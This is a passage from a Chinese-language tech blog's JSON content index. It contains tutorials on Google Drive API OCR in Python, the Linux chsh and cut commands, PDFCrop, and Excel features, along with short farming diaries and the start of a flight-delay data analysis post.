編輯文件時，有時候我們會需要在背景加上「草稿」、「樣本」、「急件」、「機密文件」這類的浮水印，清楚標示文件的重要屬性。以下是在 Word 中加入各種浮水印的操作步驟。\u003c/p\u003e","title":"Word 加入自訂文字、圖片浮水印教學"},{"content":"這裡示範如何在 Python 中使用 Google 雲端硬碟 API，自動上傳圖片、進行文字辨識、下載結果。\n在上一篇的 Google 雲端硬碟文字辨識的文章中，我們介紹了以手動的方式上傳圖片，讓 Google 幫忙自動取出圖片中的文字，雖然省去了大量的打字工作，但是若遇到圖片數量很龐大時，以手動上傳還是很吃力的。\n其實 Google 的各項服務都有提供 API 的功能，可以讓程式透過 API 存取 Google 的各種服務或使用者資料，以下我們示範如何在 Python 中使用 Google 雲端硬碟 API，實作自動化的文字辨識程式，處理巨量資料。\n啟用 Google 雲端硬碟 API 參考 Google Developers 的官方文件，啟用 Google 雲端硬碟 API。\nStep 1\n開啟 Google Drive API 註冊網頁，選擇「建立專案」，點選同意服務條款，然後點選「同意並繼續」。\nStep 2\n啟用 API 之後，點選「前往憑證」。\nStep 3\n憑證類型選擇「Google Drive API」，API 的呼叫來源選擇「其他使用者介面」，存取資料則選擇「使用者資料」。\nStep 4\n填入名稱，由於是自己用的，所以隨便取一個名字就好了。\nStep 5\n設定同意畫面的 Email 與名稱，這裡同樣自己隨便取一個名字即可。\nStep 6\n下載 JSON 格式的憑證檔案，下載後儲存為 client_id.json，這個檔案在之後的 Python 程式執行時會需要用到。下載完憑證之後，點選「完成」。\nStep 7\n這裡可以查看與管理目前已經建立的所有憑證，若憑證不用時就可以在這裡刪除。\n安裝 Google Client Library Google 所提供的 API Client Libraries 可以協助開發者加速程式的開發，請用 pip 安裝：\n# Python 2 pip install --upgrade google-api-python-client # Python 3 pip3 install --upgrade google-api-python-client Python 程式碼 開發程式之前，請先參考 Google Developers 官方文件所提供的 Python 範例，看懂之後再把程式碼改成自動上傳圖片、下載文字檔的 Python 程式，以下是完整的程式碼。\n#!/usr/bin/python3 from __future__ import print_function import httplib2 import os import io from apiclient import discovery from oauth2client import client from oauth2client import tools from oauth2client.file import Storage from apiclient.http import MediaFileUpload, MediaIoBaseDownload try: import argparse flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args() except ImportError: flags = None SCOPES = \u0026#39;https://www.googleapis.com/auth/drive\u0026#39; CLIENT_SECRET_FILE = \u0026#39;client_id.json\u0026#39; APPLICATION_NAME = \u0026#39;Python OCR\u0026#39; def get_credentials(): \u0026#34;\u0026#34;\u0026#34;取得有效的憑證 若沒有憑證，或是已儲存的憑證無效，就會自動取得新憑證 傳回值：取得的憑證 \u0026#34;\u0026#34;\u0026#34; credential_path = os.path.join(\u0026#34;./\u0026#34;, \u0026#39;google-ocr-credential.json\u0026#39;) store = Storage(credential_path) credentials = store.get() if not credentials or credentials.invalid: flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES) flow.user_agent = APPLICATION_NAME if flags: credentials = tools.run_flow(flow, store, flags) else: # Needed only for compatibility with Python 2.6 credentials = tools.run(flow, store) print(\u0026#39;憑證儲存於：\u0026#39; + credential_path) return credentials def main(): # 取得憑證、認證、建立 Google 雲端硬碟 API 服務物件 credentials = get_credentials() http = credentials.authorize(httplib2.Http()) service = discovery.build(\u0026#39;drive\u0026#39;, \u0026#39;v3\u0026#39;, http=http) # 包含文字內容的圖片檔案（png、jpg、bmp、gif、pdf） imgfile = \u0026#39;sample.jpg\u0026#39; # 輸出辨識結果的文字檔案 txtfile = \u0026#39;output.txt\u0026#39; # 上傳成 Google 文件檔，讓 Google 雲端硬碟自動辨識文字 mime = \u0026#39;application/vnd.google-apps.document\u0026#39; res = service.files().create( body={ \u0026#39;name\u0026#39;: imgfile, \u0026#39;mimeType\u0026#39;: mime }, media_body=MediaFileUpload(imgfile, mimetype=mime, resumable=True) ).execute() # 下載辨識結果，儲存為文字檔案 downloader = MediaIoBaseDownload( io.FileIO(txtfile, \u0026#39;wb\u0026#39;), service.files().export_media(fileId=res[\u0026#39;id\u0026#39;], mimeType=\u0026#34;text/plain\u0026#34;) ) done = False while done is False: status, done = downloader.next_chunk() # 刪除剛剛上傳的 Google 文件檔案 service.files().delete(fileId=res[\u0026#39;id\u0026#39;]).execute() if __name__ == \u0026#39;__main__\u0026#39;: main() 程式碼的上半部大致上跟官方的範例相同，只不過是修改下方的操作部份，這裡的技巧就是將圖檔上傳為 Google 文件檔，讓 Google 自動進行文字辨識，接著再將該文件下載為文字檔，這樣就可以取得辨識的結果。\n把上面這段 Python 程式碼儲存為 google_ocr.py，然後把要進行辨識的圖片儲存為 sample.jpg，這裡我用這張圖片作為示範。\n接著就可以執行 Python 程式進行辨識了：\npython3 google_ocr.py 第一次執行時，會跳出一個網頁，取得 Google 雲端硬碟的存取權限，首先選擇要使用的 Google 帳戶。\n點選「允許」，讓程式取得自己 Google 雲端硬碟的存取權限。\n取得授權之後，程式就會自動將圖片上傳至 Google 雲端硬碟進行文字辨識、下載辨識結果，最後自動將上傳至 Google 雲端硬碟上的文件刪除，辨識的結果會儲存至 output.txt 這個文字檔案中。\n以這個例子來說，辨識的結果很不錯。\n本篇示範以 Google 雲端硬碟 API 自動辨識單張圖檔，而有了這個基本的 Python 程式碼之後，只要再加上簡單的迴圈控制，就可以自動處理大量的圖片文字辨識問題，對於有大量資料需要整理的人來說，非常實用。\n參考資料 tanaike google-ocr-python gdrive ","permalink":"https://blog.gtwang.org/programming/automation-of-google-ocr-using-python-tutorial/","summary":"\u003cp\u003e這裡示範如何在 Python 中使用 Google 雲端硬碟 API，自動上傳圖片、進行文字辨識、下載結果。\u003c/p\u003e\n\u003cp\u003e在上一篇的 \u003ca href=\"/useful-tools/google-drive-vertical-and-horizontal-chinese-characters-ocr-tutorial/\"\u003eGoogle 雲端硬碟文字辨識的文章\u003c/a\u003e中，我們介紹了以手動的方式上傳圖片，讓 Google 幫忙自動取出圖片中的文字，雖然省去了大量的打字工作，但是若遇到圖片數量很龐大時，以手動上傳還是很吃力的。\u003c/p\u003e","title":"Python 使用 Google 雲端硬碟 API 自動進行文字辨識教學"},{"content":"這裡介紹如何在 Linux 中查詢自己帳號預設的登入 shell 設定，並使用 chsh 指令修改預設的 shell。\nshell 是介於使用者與 Linux 系統之間的介面，而在 Linux 中常見的 shell 有好多種，例如 sh、csh、tcsh 與 bash 等，一般的使用者可以自由選擇偏好的 shell 來使用。\n查詢目前 Shell 與設定 使用者預設的 shell 設定，都寫在 /etc/passwd 這個檔案中，若要查詢自己的預設 shell，可以執行：\n# 查看登入預設的 shell 設定值 grep `whoami` /etc/passwd | cut -d: -f7 /bin/bash 若想知道目前正在使用的 shell 是哪一個，可以查看 $0 這個特殊的環境變數：\n# 查看目前的 shell 名稱 echo $0 bash $0 這個特殊變數會包含目前執行程式的名稱，直接在 shell 的命列列底下查看這個變數的話，就會顯示目前正在執行的 shell 名稱。\n我們也可以使用 ps 來查看目前使用中的 shell：\n# 查看目前的 shell 名稱 /bin/ps -p $$ PID TTY TIME CMD 81598 pts/0 00:00:00 bash SHELL 這個環境變數也會記錄登入 shell 的名稱：\n# 查看目前的 shell 名稱 echo $SHELL /bin/bash 如果在登入 Linux 之後，又在命令列中執行其他的 shell 時，SHELL 變數的內容就不一定會是目前正在使用的 shell，有可能會是登入預設的 shell，若遇到這樣的狀況，建議改用 $0 的方式來判斷。\n查詢系統上可用的 Shell 在 /etc/shells 這個檔案中會列出系統上所有可用的 shell，從這個檔案裡就可以知道有哪些 shell 可用：\n# 列出系統上所有可用的 shell cat /etc/shells /bin/sh /bin/bash /sbin/nologin /usr/bin/sh /usr/bin/bash /usr/sbin/nologin /bin/tcsh /bin/csh 另一個方式是使用 chsh 加上 -l 參數列出可用的 shell，結果也是相同的：\n# 列出系統上所有可用的 shell chsh -l /bin/sh /bin/bash /sbin/nologin /usr/bin/sh /usr/bin/bash /usr/sbin/nologin /bin/tcsh /bin/csh 更改預設的 Shell 設定 若要更改自己帳號登入預設的 shell，可以使用 chsh 指令，並以 -s 參數指定新的 shell：\n# 更改登入預設的 shell 設定 chsh -s /bin/bash 更改預設 shell 時，會要求輸入自己帳號的密碼，經過認證後即可更改預設的 shell。更改完成後，下次登入系統時，就會使用新的 shell 了。\n參考資料 nixCraft StackOverflow Tecmint ","permalink":"https://blog.gtwang.org/linux/linux-chsh-command-change-login-shell-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中查詢自己帳號預設的登入 shell 設定，並使用 \u003ccode\u003echsh\u003c/code\u003e 指令修改預設的 shell。\u003c/p\u003e\n\u003cp\u003eshell 是介於使用者與 Linux 系統之間的介面，而在 Linux 中常見的 shell 有好多種，例如 \u003ccode\u003esh\u003c/code\u003e、\u003ccode\u003ecsh\u003c/code\u003e、\u003ccode\u003etcsh\u003c/code\u003e 與 \u003ccode\u003ebash\u003c/code\u003e 等，一般的使用者可以自由選擇偏好的 shell 來使用。\u003c/p\u003e","title":"Linux 查詢與更改登入 shell 設定，chsh 指令用法教學與範例"},{"content":"這裡介紹如何以 Excel 開新視窗、並排顯示與同步捲動功能，快速檢視與比較兩個 Excel 表格內容的差異。\n在 Excel 中我們有時候會需要比較兩個表格的差異，如果表格很大的話，手動同步拉動兩個表格是很浪費時間的事情，如果兩個表格又在同一個活頁簿，無法同時顯示在螢幕上的話，也很不方便。\n以下示範 Excel 的開新視窗、並排顯示、並排檢視與同步捲動功能，讓 Excel 自動同步拉動兩個表格，使工作更有效率。\nExcel 開新視窗 如果我們要查看的兩個表格剛好在同一個 Excel 活頁簿中（也就是在同一個 Excel 檔案中），就要先使用「開新視窗」的功能，開出另外一個視窗顯示同一個 Excel 檔案，這樣才能讓兩個表格同時顯示在螢幕上。\n如果您的兩個表格分別位於不同的 Excel 檔案中，就只要把兩個 Excel 檔案開啟即可，這一部分的操作就可以跳過。 Step 1\n打開含有兩個表格的 Excel 檔案，這裡我以環保署環境資源資料庫的空氣品質監測月值來做為示範。\nStep 2\n選擇「檢視」籤頁。\nStep 3\n點選「開新視窗」功能。\nStep 4\n點選「開新視窗」之後，就會開啟另外一個 Excel 視窗，並顯示同一個 Excel 檔案，這樣我們就可以分別在兩個 Excel 視窗上顯示不同的表格，方便比較表格內容的差異。\nExcel 並排顯示 使用「開新視窗」功能，讓兩個表格分別顯示於兩個視窗之後，就可以接著使用「並排顯示」功能來快速比較兩個表格的內容了。\nStep 1\n同樣在「檢視」的籤頁中，點選「並排顯示」。\nStep 2\n選擇重排視窗的方式，這裡我示範「水平並排」。\nStep 3\nExcel 視窗經過重新排列之後，會自動將螢幕分為兩等分，這時候我們就可以很方便的進行比較。\nStep 4\n上面使用「並排顯示」的時候，兩個 Excel 視窗的表格是可以獨立捲動的，如果想要讓兩個 Excel 視窗的表格可以同步捲動，請點選「並排檢視」。\nStep 5\n在點選「並排檢視」之後，「同步捲動」功能預設就會開啟，這時候不管用滑鼠捲動哪一個 Excel 表格，另外一個 Excel 表格也會跟著一起同步捲動，在比較兩個相近格式的表格時，這個功能非常實用。\nStep 6\n如果在檢視資料時，感覺 Excel 上方的工具列太佔空間的話，可以從視窗右上角的選單中調整工具列的顯示選項，讓工具列隱藏起來。\nStep 7\n將工具列隱藏之後，查閱資料就更方便了。\n參考資料 MakeUseOf ","permalink":"https://blog.gtwang.org/windows/how-to-compare-two-excel-files/","summary":"\u003cp\u003e這裡介紹如何以 Excel 開新視窗、並排顯示與同步捲動功能，快速檢視與比較兩個 Excel 表格內容的差異。\u003c/p\u003e\n\u003cp\u003e在 Excel 中我們有時候會需要比較兩個表格的差異，如果表格很大的話，手動同步拉動兩個表格是很浪費時間的事情，如果兩個表格又在同一個活頁簿，無法同時顯示在螢幕上的話，也很不方便。\u003c/p\u003e","title":"Excel 開新視窗、並排顯示、同步捲動教學，比較兩個表格差異"},{"content":"這裡介紹如何在 Linux 系統上使用 PDFCrop 把 PDF 頁面周圍的白邊去除，讓原本的文字放大以利閱讀，列印時亦可節省紙張。\n許多的 PDF 文件頁面周圍都會保留一大塊的空白區域（尤其是尚未正式發表的論文），拿到這種文件在閱讀時就比較不方便，因為空白區域佔去頁面不少空間，文字就顯得比較小，時常需要將 PDF 顯示比例放大，然後用滑鼠拉來拉去，這種文件若用印表機印下來的話，白邊太大也會浪費紙張。\nPDFCrop 是 Linux 系統上專門用來去除 PDF 白邊的小工具，它可以快速將 PDF 檔每一頁的白邊去除，使用方式簡單而且也很實用，以下是這個工具的使用方式。\n安裝 PDFCrop 在 Debian 或 Ubuntu Linux 中，pdfcrop 包含於 texlive-extra-utils 這個套建中，在使用之前要先安裝此套件：\nsudo apt install texlive-extra-utils 安裝好之後，就可以開始使用 PDFCrop 這個工具了。\n去除 PDF 頁面白邊 PDFCrop 在預設的情況下，會自動判斷 PDF 頁面的白邊寬度，將空白區域去除，只留下有內容的區域：\n# 自動將周圍白邊去除 pdfcrop input.pdf output.pdf 其中 input.pdf 原始的 PDF 檔案名稱，而 output.pdf 則是輸出的 PDF 檔案名稱。如果不指定輸出檔案名稱，則 PDFCrop 會自動以 輸入檔名-crop.pdf 這樣的命名方式儲存輸出的 PDF 檔案。\n經過 PDFCrop 的處理後，PDF 的頁面會變成這樣：\n這樣完全沒有白邊的 PDF 檔案很適合用來校稿，文字比較大、列印也可以節省紙張。\nPDFCrop 預設會非常精準的將所有空白切除，如果想要在周圍稍微保留一點空間，可以使用 --margins \u0026quot;左邊 上方 右邊 下方\u0026quot; 來指定留白的寬度（單位為 points），例如：\n# 指定留白寬度為左邊 10、上方 20、右邊 10、下方 25 pdfcrop --margins \u0026#34;10 20 10 25\u0026#34; input.pdf output.pdf 這樣切出來的結果會像這樣：\n若上下左右四的方向的留白寬度都相同，可以只指定單一數值，這樣 PDFCrop 就會將這個寬度套用至四的方向的留白寬度：\n# 指定上下左右的留白寬度皆為 20 pdfcrop --margins 20 input.pdf output.pdf 周圍留白的寬度若指定為負值，就會往內切，將部份的頁面內容切除，例如：\n# 往內切除部份的頁面內容 pdfcrop --margins \u0026#34;-30 -50 -30 -50\u0026#34; input.pdf output.pdf 結果會像這樣：\n多 PDF 檔案 PDFCrop 一次只能處理一個 PDF 檔案，如果我們有大量的 PDF 檔案，都想要讓 PDFCrop 來切除白邊的話，可以自己撰寫簡單的 shell 指令稿，自動批次處理所有的 PDF 檔案，以下是一個自動處理目前目錄中所有 PDF 檔案的指令稿範例：\n#!/bin/bash # 自動切除所有 PDF 檔頁面的白邊 for FILE in ./*.pdf; do pdfcrop \u0026#34;${FILE}\u0026#34; done ","permalink":"https://blog.gtwang.org/linux/pdfcrop-pdf-tool-crop-margin-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上使用 PDFCrop 把 PDF 頁面周圍的白邊去除，讓原本的文字放大以利閱讀，列印時亦可節省紙張。\u003c/p\u003e\n\u003cp\u003e許多的 PDF 文件頁面周圍都會保留一大塊的空白區域（尤其是尚未正式發表的論文），拿到這種文件在閱讀時就比較不方便，因為空白區域佔去頁面不少空間，文字就顯得比較小，時常需要將 PDF 顯示比例放大，然後用滑鼠拉來拉去，這種文件若用印表機印下來的話，白邊太大也會浪費紙張。\u003c/p\u003e","title":"用 Linux 的 PDFCrop 工具去除 PDF 白邊教學"},{"content":"這裡介紹如何從 Excel 的日期時間資料中，取出年、月、日、時、分、秒這些數值資訊。\nExcel 的儲存格可以儲存日期與時間的資料，如果想從這些日期與時間的儲存格中，取出年、月、日、時、分、秒這些數值，就必須使用一些特別的函數來處理，以下是日期與時間相關函數的使用教學。\n取出日期的年、月、日 假設我們的 Excel 中有類似這樣的日期資料：\n如果想從日期資料中取出年份，可以使用 YEAR 這個函數，它的用法很簡單，只要將日期的資料傳入之後，即可取得年份的數值：\n=YEAR(日期) 套用 YEAR 函數之後，就可以取出每個日期的年份：\n若要取出月份，則可使用 MONTH 函數，用法都差不多：\n=MONTH(日期) 以下是套用 MONTH 函數，取出月份的結果：\n日的資訊則可使用 DAY 函數：\n=DAY(日期) 這是以 DAY 函數取出日的結果：\n取出時間的時、分、秒 假設我們的 Excel 中有類似這樣的時間資料：\n若要從時間的資料中取出時、分、秒，操作方式跟日期很類似，只不過呼叫的函數不同而已。\n若要從時間的資料中取出小時，可以呼叫 HOUR 函數：\n=HOUR(時間) 這是以 HOUR 函數取出小時的結果：\n若要取出分鐘，則使用 MINUTE 函數：\n=MINUTE(時間) 這是以 MINUTE 函數取出分鐘的結果：\n若要取出秒鐘，則使用 SECOND 函數：\n=SECOND(時間) 這是以 SECOND 函數取出秒鐘的結果：\n日期與時間 如果我們有一欄日期資料，以及另一欄時間的資料，其實可以直接把這兩欄「相加」起來，這樣就可以得到同時有日期與時間資料的欄位，節省欄位空間。\n下面這個 Excel 表格中，我直接把日期欄（A 欄）加上時間欄（B 欄），將計算結果放進日期與時間欄（C 欄），這樣只要用一個欄位即可儲存時間與日期的資料。\n像這種同時有時間與日期的欄位，同樣也可以使用上面所介紹的六個函數，將年、月、日、時、分、秒取出來：\n=YEAR(日期與時間) =MONTH(日期與時間) =DAY(日期與時間) =HOUR(日期與時間) =MINUTE(日期與時間) =SECOND(日期與時間) 這是取出年、月、日、時、分、秒的結果：\n","permalink":"https://blog.gtwang.org/windows/excel-extract-year-month-day-hour-minite-second-from-date-time/","summary":"\u003cp\u003e這裡介紹如何從 Excel 的日期時間資料中，取出年、月、日、時、分、秒這些數值資訊。\u003c/p\u003e\n\u003cp\u003eExcel 的儲存格可以儲存日期與時間的資料，如果想從這些日期與時間的儲存格中，取出年、月、日、時、分、秒這些數值，就必須使用一些特別的函數來處理，以下是日期與時間相關函數的使用教學。\u003c/p\u003e","title":"Excel 取出日期時間的年月日、時分秒資訊教學"},{"content":"這週日帶阿玄下田種艾草，順便拍照記錄一下。\n這兩天我們剛好有一批艾草需要把它種進土裡，所以下田的時候，就順便帶阿玄去，他每次去田裡都很興奮。\n最近剛好是水稻插秧的時節，這裡到處都可以看到剛插完秧的水稻田。\n我們來的時候剛好傍晚的陽光從右邊照射過來，打在秧苗上，讓秧苗的色澤非常鮮艷。\n阿玄來到田裡之後，就很興奮的開始種艾草了。\n後來給阿玄一枝樹枝讓他去玩，似乎比種艾草更好玩。\n這是我們今天要種下去的艾草根。\n把土鬆開後，埋下去即可。\n種完之後，要在地上插一枝樹枝，以免日後分辨不出來種在哪裡。\n種植三週後 種植三週後，艾草陸續長出來了。\n種植七週後 這是種植七週之後的樣子，艾草的葉子長得很茂密，看起來大部分都有活。\n","permalink":"https://blog.gtwang.org/personal/qixuan-artemisias-planting-20180225/","summary":"\u003cp\u003e這週日帶阿玄下田種艾草，順便拍照記錄一下。\u003c/p\u003e\n\u003cp\u003e這兩天我們剛好有一批艾草需要把它種進土裡，所以下田的時候，就順便帶阿玄去，他每次去田裡都很興奮。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[台南西港] 阿玄種艾草記錄"},{"content":"這週六帶阿玄去我們自己家的田裡種野薑花，順便拍照記錄一下。\n最近我們從網路上買了許多的野薑花塊莖，打算來種在自己家的田裡，順便讓阿玄體驗下田的感覺，這一箱是今天準備要種下去的野薑花塊莖。\n這是阿玄種野薑花的影片紀錄。\n以下是一些照片。\n","permalink":"https://blog.gtwang.org/personal/qixuan-butterfly-ginger-planting-20180224/","summary":"\u003cp\u003e這週六帶阿玄去我們自己家的田裡種野薑花，順便拍照記錄一下。\u003c/p\u003e\n\u003cp\u003e最近我們從網路上買了許多的野薑花塊莖，打算來種在自己家的田裡，順便讓阿玄體驗下田的感覺，這一箱是今天準備要種下去的野薑花塊莖。\u003c/p\u003e","title":"[台南西港] 阿玄種野薑花記錄"},{"content":"這裡介紹如何使用 Linux 的 cut 指令工具，逐行擷取部份字元或欄位資料。\nLinux 的 cut 指令是一個實用的文字處理工具，可以將每一行文字的部份字元或欄位擷取出來，以下是使用方式與範例。\n擷取字元 對於欄位寬度是固定的資料，可以使用擷取固定位置字元的方式，把指定的欄位抓出來，典型的例子就是從 ls 指令的輸出中擷取檔案權限。假設我們的 ls 指令與輸出資料如下：\n# 僅輸出最後 5 筆檔案資訊 ls -l | tail -n 5 drwxr-xr-x 2 gtwang gtwang 4096 11月 7 22:29 影片 drwxr-xr-x 7 gtwang gtwang 4096 2月 6 21:01 文件 drwxr-xr-x 4 gtwang gtwang 4096 2月 22 21:09 桌面 drwxr-xr-x 2 gtwang gtwang 4096 1月 6 2017 模板 drwxrwxr-x 2 gtwang gtwang 4096 1月 6 2017 音樂 如果我們想要擷取第一欄中的檔案權限（也就是第 2 個字元到第 10 個字元），可以使用 cut 指令配合 -c 參數，將每一行的第 2 個字元至第 10 個字元抓出來：\n# 擷取第 2 個字元至第 10 個字元 ls -l | tail -n 5 | cut -c 2-10 rwxr-xr-x rwxr-xr-x rwxr-xr-x rwxr-xr-x rwxrwxr-x 如果要擷取多個不連續的的區段，逗號分隔每個區段，例如：\n# 擷取第 2-3 個、第 5-6 個與第 8-9 個字元 ls -l | tail -n 5 | cut -c 2-3,5-6,8-9 rwr-r- rwr-r- rwr-r- rwr-r- rwrwr- 排除字元 上面的範例中我們都是設定要擷取的部份，如果想要設定排除的部份，可以加上 --complement 這個補集參數，這樣 cut 就會將指定的部份刪除，留下剩餘的部份：\n# 排除第 2 個字元至第 10 個字元 ls -l | tail -n 5 | cut -c 2-10 --complement d 2 gtwang gtwang 4096 11月 7 22:29 影片 d 7 gtwang gtwang 4096 2月 6 21:01 文件 d 4 gtwang gtwang 4096 2月 22 21:09 桌面 d 2 gtwang gtwang 4096 1月 6 2017 模板 d 2 gtwang gtwang 4096 1月 6 2017 音樂 擷取欄位 若我們的資料欄位寬度不是固定的，而是使用特定的字元分隔不同的欄位，例如逗點分隔檔（csv 檔）：\n5.1,3.5,1.4,0.2,\"setosa\" 4.9,3,1.4,0.2,\"setosa\" 7,3.2,4.7,1.4,\"versicolor\" 6.4,3.2,4.5,1.5,\"versicolor\" 5.9,3,5.1,1.8,\"virginica\" 若要擷取這個 csv 檔的特定欄位，可以使用 cut 指令加上 -d 參數指定欄位分隔字元，並以 -f 參數指定欲擷取的欄位，例如擷取出第 2 個欄位：\n# 擷取 CSV 檔的第二個欄位 cut -d , -f 2 data.csv 3.5 3 3.2 3.2 3 若要擷取多個欄位，也是使用逗號分隔每個欄位：\n# 擷取 CSV 檔的第 1-3 個與第 5 個欄位 cut -d , -f 1-3,5 data.csv 5.1,3.5,1.4,\"setosa\" 4.9,3,1.4,\"setosa\" 7,3.2,4.7,\"versicolor\" 6.4,3.2,4.5,\"versicolor\" 5.9,3,5.1,\"virginica\" Linux 中的 /etc/passwd 檔案內容是以冒號分隔欄位的，若要從中擷取特定的欄位，可以指定以冒號為分隔字元：\n# 擷取 /etc/passwd 的第 1 個與第 7 個欄位 head -n 5 /etc/passwd | cut -d : -f 1,7 root:/bin/bash daemon:/usr/sbin/nologin bin:/usr/sbin/nologin sys:/usr/sbin/nologin sync:/bin/sync 排除欄位 若要排除某些特定欄位，而留下其餘的欄位，同樣可以使用 --complement 參數：\n# 排除 CSV 檔的第二個欄位 cut -d , -f 2 --complement data.csv 5.1,1.4,0.2,\"setosa\" 4.9,1.4,0.2,\"setosa\" 7,4.7,1.4,\"versicolor\" 6.4,4.5,1.5,\"versicolor\" 5.9,5.1,1.8,\"virginica\" 輸出分隔字元 cut 在輸出多欄位的資料時，預設會以輸入檔案所使用的分隔字元來分隔輸出的欄位，若要改變輸出欄位的分隔字元，可以使用 --output-delimiter 參數來指定：\n# 指定輸出欄位分隔字元 head -n 5 /etc/passwd | cut -d : -f 1,7 --output-delimiter=\u0026#34;^_^\u0026#34; root^_^/bin/bash daemon^_^/usr/sbin/nologin bin^_^/usr/sbin/nologin sys^_^/usr/sbin/nologin sync^_^/bin/sync 實用範例 Linux 的系統管理者時常會需要使用 ps 指令查看各行程的狀態，但由於 ps 的輸出資訊很多，如果我們只想看程式的 PID 與指令內容，就可以用 cut 把要用的資訊擷取來：\n# 找出所有 Python 程式的 PID 與指令內容 ps aux | grep python | sed \u0026#39;s/\\s\\+/ /g\u0026#39; | cut -d \u0026#39; \u0026#39; -f 2,11- 17100 grep --color=auto python 27904 /usr/bin/python -Es /usr/sbin/tuned -l -P 33890 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid 參考資料 George Ornbo The Geek Stuff ","permalink":"https://blog.gtwang.org/linux/linux-cut-command-tutorial-and-examples/","summary":"\u003cp\u003e這裡介紹如何使用 Linux 的 \u003ccode\u003ecut\u003c/code\u003e 指令工具，逐行擷取部份字元或欄位資料。\u003c/p\u003e\n\u003cp\u003eLinux 的 \u003ccode\u003ecut\u003c/code\u003e 指令是一個實用的文字處理工具，可以將每一行文字的部份字元或欄位擷取出來，以下是使用方式與範例。\u003c/p\u003e","title":"Linux 的 cut 擷取部份字元、欄位指令教學與常用範例整理"},{"content":"最近看到家附近有茼蒿開花，還有蜜蜂與蝴蝶來採蜜，就順便拍照記錄一下。\n其實有很多，蜜蜂與蝴蝶，但是因為蝴蝶不好拍，所以只拍到蜜蜂。\n這裡有一隻蜜蜂比較特別，它的腳上有兩團已經採集的花粉團。\n我把這張照片的原始大小切出來（點下去可以看原圖），這樣可以看得更清楚。\n","permalink":"https://blog.gtwang.org/agriculture/glebionis-coronaria-flower-in-xigang-201802/","summary":"\u003cp\u003e最近看到家附近有茼蒿開花，還有蜜蜂與蝴蝶來採蜜，就順便拍照記錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"茼蒿花\" loading=\"lazy\" src=\"/agriculture/glebionis-coronaria-flower-in-xigang-201802/glebionis-coronaria-flower-in-xigang-201802-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"茼蒿花\" loading=\"lazy\" src=\"/agriculture/glebionis-coronaria-flower-in-xigang-201802/glebionis-coronaria-flower-in-xigang-201802-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"茼蒿花\" loading=\"lazy\" src=\"/agriculture/glebionis-coronaria-flower-in-xigang-201802/glebionis-coronaria-flower-in-xigang-201802-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"茼蒿花\" loading=\"lazy\" src=\"/agriculture/glebionis-coronaria-flower-in-xigang-201802/glebionis-coronaria-flower-in-xigang-201802-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"茼蒿花\" loading=\"lazy\" src=\"/agriculture/glebionis-coronaria-flower-in-xigang-201802/glebionis-coronaria-flower-in-xigang-201802-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e其實有很多，蜜蜂與蝴蝶，但是因為蝴蝶不好拍，所以只拍到蜜蜂。\u003c/p\u003e","title":"[台南西港] 茼蒿開花記錄"},{"content":"本篇以實際的美國飛機航班延誤紀錄資料，示範在實務上如何處理與分析巨量資料。\n飛機航班的延誤會直接對旅客造成不便，因此我們會希望藉著分析班機誤點的資料，找出可能造成誤點的原因，進而嘗試降低航班延誤的頻率，不過這類的資料量通常都非常龐大，比較難以傳統的方式來處理。\n以下我們將使用各種巨量資料處理工具，分析美國的航班誤點資料。\nAirline on-time performance 資料集 美國統計協會（ASA）在 2009 年發布了一份 Airline on-time performance 資料集（亦可從 BTS 的網站篩選欄位與下載），裡面包含了全美國從 1987 年 10 月份至 2008 年 4 月份的航班延誤紀錄，這份資料集相當龐大，壓縮後的資料就有 1.6 GB，而未壓縮的話則有 12 GB。\nAirline on-time performance 原始的資料來源是美國統計協會的網站，但是目前該網站已經關閉了，想要取得這份資料，可以從 kaggle 的網站下載。\n每個 CSV 檔案都有 29 個欄位，以下是少部分的範例資料：\nActualElapsedTime,AirTime,ArrDelay,ArrTime,CRSArrTime,CRSDepTime,CRSElapsedTime,CancellationCode,Cancelled,CarrierDelay,DayOfWeek,DayofMonth,DepDelay,DepTime,Dest,Distance,Diverted,FlightNum,LateAircraftDelay,Month,NASDelay,Origin,SecurityDelay,TailNum,TaxiIn,TaxiOut,UniqueCarrier,WeatherDelay,Year 53,32,-8,1642,1650,1545,65,NA,0,NA,4,10,4,1549,PIT,205,0,209,NA,10,NA,DCA,NA,N443US,7,14,US,NA,2002 164,155,-11,1754,1805,1610,175,NA,0,NA,4,2,0,1610,MCI,1072,0,109,NA,12,NA,MCO,NA,N755,2,7,WN,NA,1999 60,NA,15,2005,1950,1850,60,NA,0,NA,5,10,15,1905,CLT,227,0,1276,NA,12,NA,ATL,NA,NA,NA,NA,DL,NA,1993 51,NA,-5,1818,1823,1728,55,NA,0,NA,4,28,-1,1727,BNA,200,0,961,NA,9,NA,MEM,NA,NA,NA,NA,AA,NA,1989 45,29,2,1120,1118,1030,48,,0,0,1,19,5,1035,CMH,116,0,5873,0,6,0,CVG,0,N785CA,3,13,OH,0,2006 49,37,2,1137,1135,1048,47,NA,0,NA,4,2,0,1048,CLT,156,0,353,NA,1,NA,MYR,NA,N934VJ,6,6,US,NA,1997 